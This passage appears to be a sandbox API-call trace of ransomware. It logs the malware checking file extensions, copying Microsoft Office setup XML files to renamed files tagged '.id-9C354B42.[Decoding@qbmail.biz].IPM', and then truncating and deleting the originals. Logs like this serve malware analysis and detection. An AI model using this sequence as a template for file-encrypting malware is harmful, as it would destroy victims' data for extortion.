lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0084.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0084.640] lstrlenW (lpString=".jpg") returned 4 [0084.641] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0084.641] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0084.641] lstrlenW (lpString="Office32WW.XML") returned 14 [0084.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0084.642] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=4274) returned 1 [0084.642] CloseHandle (hObject=0x1f8) returned 1 [0084.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0084.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0084.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0084.642] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0084.642] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0084.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0084.643] GetLastError () returned 0x0 [0084.643] ReadFile (in: hFile=0x1f8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x10b2, lpOverlapped=0x0) returned 1 [0084.649] WriteFile (in: hFile=0x1d0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0084.652] ReadFile (in: hFile=0x1f8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0084.652] WriteFile (in: hFile=0x1d0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xf0, lpOverlapped=0x0) returned 1 [0084.652] SetEndOfFile (hFile=0x1d0) returned 1 [0084.652] CloseHandle (hObject=0x1d0) returned 1 [0084.656] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0084.656] SetEndOfFile (hFile=0x1f8) returned 1 [0084.658] CloseHandle (hObject=0x1f8) returned 1 [0084.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0084.659] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1 [0084.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0084.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0084.659] lstrlenW (lpString=".doc") returned 4 [0084.659] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0084.659] lstrlenW (lpString=".docx") returned 5 [0084.659] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0084.659] lstrlenW (lpString=".pdf") returned 4 [0084.660] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0084.660] lstrlenW (lpString=".xls") returned 4 [0084.660] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0084.660] lstrlenW (lpString=".xlsx") returned 5 [0084.660] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0084.660] lstrlenW (lpString=".ppt") returned 4 [0084.660] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0084.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0084.660] lstrlenW (lpString=".zip") returned 4 [0084.660] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0084.660] lstrlenW (lpString=".rar") returned 4 [0084.660] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0084.660] lstrlenW (lpString=".bz2") returned 4 [0084.660] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0084.730] lstrlenW (lpString=".7z") returned 3 [0084.730] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0084.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0084.730] lstrlenW (lpString=".dbf") returned 4 [0084.730] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0084.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0084.730] lstrlenW (lpString=".1cd") returned 4 [0084.730] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0084.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0084.730] lstrlenW (lpString=".jpg") returned 4 [0084.730] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0084.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0084.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0084.731] lstrlenW (lpString=".doc") returned 4 [0084.731] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0084.731] lstrlenW (lpString=".docx") returned 5 [0084.731] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0084.731] lstrlenW (lpString=".pdf") returned 4 [0084.731] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0084.731] lstrlenW (lpString=".xls") returned 4 [0084.731] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0084.731] lstrlenW (lpString=".xlsx") returned 5 [0084.731] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0084.731] lstrlenW (lpString=".ppt") returned 4 [0084.731] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0084.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0084.731] lstrlenW (lpString=".zip") returned 4 [0084.731] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0084.731] lstrlenW (lpString=".rar") returned 4 [0084.732] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0084.732] lstrlenW (lpString=".bz2") returned 4 [0084.732] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0084.732] lstrlenW (lpString=".7z") returned 3 [0084.732] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0084.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0084.732] lstrlenW (lpString=".dbf") returned 4 [0084.732] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0084.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0084.732] lstrlenW (lpString=".1cd") returned 4 [0084.732] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0084.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0084.732] lstrlenW (lpString=".jpg") returned 4 [0084.732] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0084.733] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0084.733] lstrlenW (lpString="SETUP.XML") returned 9 [0084.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0085.225] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=1988) returned 1 [0085.225] CloseHandle (hObject=0x1bc) returned 1 [0085.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0085.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0085.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0085.225] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0085.225] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0085.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0085.226] GetLastError () returned 0x0 [0085.226] ReadFile (in: hFile=0x1bc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x7c4, lpOverlapped=0x0) returned 1 [0085.267] WriteFile (in: hFile=0x1d4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0085.269] ReadFile (in: hFile=0x1bc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0085.269] WriteFile (in: hFile=0x1d4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xe6, lpOverlapped=0x0) returned 1 [0085.269] SetEndOfFile (hFile=0x1d4) returned 1 [0085.270] CloseHandle (hObject=0x1d4) returned 1 [0085.280] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0085.280] SetEndOfFile (hFile=0x1bc) returned 1 [0085.282] CloseHandle (hObject=0x1bc) returned 1 [0085.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0085.282] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1 [0085.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0085.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0085.283] lstrlenW (lpString=".doc") returned 4 [0085.283] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.283] lstrlenW (lpString=".docx") returned 5 [0085.283] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0085.283] lstrlenW (lpString=".pdf") returned 4 [0085.283] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.283] lstrlenW (lpString=".xls") returned 4 [0085.283] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.283] lstrlenW (lpString=".xlsx") returned 5 [0085.283] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0085.283] lstrlenW (lpString=".ppt") returned 4 [0085.283] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0085.283] lstrlenW (lpString=".zip") returned 4 [0085.283] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.283] lstrlenW (lpString=".rar") returned 4 [0085.283] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.283] lstrlenW (lpString=".bz2") returned 4 [0085.284] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.284] lstrlenW (lpString=".7z") returned 3 [0085.284] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0085.284] lstrlenW (lpString=".dbf") returned 4 [0085.284] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0085.284] lstrlenW (lpString=".1cd") returned 4 [0085.284] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0085.284] lstrlenW (lpString=".jpg") returned 4 [0085.284] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0085.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0085.284] lstrlenW (lpString=".doc") returned 4 [0085.284] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.284] lstrlenW (lpString=".docx") returned 5 [0085.284] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0085.286] lstrlenW (lpString=".pdf") returned 4 [0085.286] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.286] lstrlenW (lpString=".xls") returned 4 [0085.286] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.286] lstrlenW (lpString=".xlsx") returned 5 [0085.286] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0085.286] lstrlenW (lpString=".ppt") returned 4 [0085.286] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0085.286] lstrlenW (lpString=".zip") returned 4 [0085.286] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.286] lstrlenW (lpString=".rar") returned 4 [0085.286] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.286] lstrlenW (lpString=".bz2") returned 4 [0085.286] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.286] lstrlenW (lpString=".7z") returned 3 [0085.287] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0085.287] lstrlenW (lpString=".dbf") returned 4 [0085.287] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0085.287] lstrlenW (lpString=".1cd") returned 4 [0085.287] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0085.287] lstrlenW (lpString=".jpg") returned 4 [0085.287] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.287] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0085.287] lstrlenW (lpString="PrjProrWW.XML") returned 13 [0085.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0085.308] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=6421) returned 1 [0085.308] CloseHandle (hObject=0x1d8) returned 1 [0085.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0085.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0085.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0085.309] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0085.309] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0085.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0085.309] GetLastError () returned 0x0 [0085.310] ReadFile (in: hFile=0x1d8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x1915, lpOverlapped=0x0) returned 1 [0085.313] WriteFile (in: hFile=0x1c0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x1920, lpOverlapped=0x0) returned 1 [0085.315] ReadFile (in: hFile=0x1d8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0085.315] WriteFile (in: hFile=0x1c0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xee, lpOverlapped=0x0) returned 1 [0085.315] SetEndOfFile (hFile=0x1c0) returned 1 [0085.315] CloseHandle (hObject=0x1c0) returned 1 [0085.321] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0085.321] SetEndOfFile (hFile=0x1d8) returned 1 [0085.323] CloseHandle (hObject=0x1d8) returned 1 [0085.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0085.323] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1 [0085.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0085.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0085.324] lstrlenW (lpString=".doc") returned 4 [0085.324] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.324] lstrlenW (lpString=".docx") returned 5 [0085.324] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0085.324] lstrlenW (lpString=".pdf") returned 4 [0085.324] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.324] lstrlenW (lpString=".xls") returned 4 [0085.324] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.324] lstrlenW (lpString=".xlsx") returned 5 [0085.324] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0085.324] lstrlenW (lpString=".ppt") returned 4 [0085.324] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0085.324] lstrlenW (lpString=".zip") returned 4 [0085.324] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.324] lstrlenW (lpString=".rar") returned 4 [0085.324] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.325] lstrlenW (lpString=".bz2") returned 4 [0085.325] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.325] lstrlenW (lpString=".7z") returned 3 [0085.325] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0085.325] lstrlenW (lpString=".dbf") returned 4 [0085.325] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0085.325] lstrlenW (lpString=".1cd") returned 4 [0085.325] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0085.325] lstrlenW (lpString=".jpg") returned 4 [0085.325] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0085.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0085.325] lstrlenW (lpString=".doc") returned 4 [0085.325] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.326] lstrlenW (lpString=".docx") returned 5 [0085.326] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0085.326] lstrlenW (lpString=".pdf") returned 4 [0085.326] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.326] lstrlenW (lpString=".xls") returned 4 [0085.326] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.326] lstrlenW (lpString=".xlsx") returned 5 [0085.326] lstrcmpiW 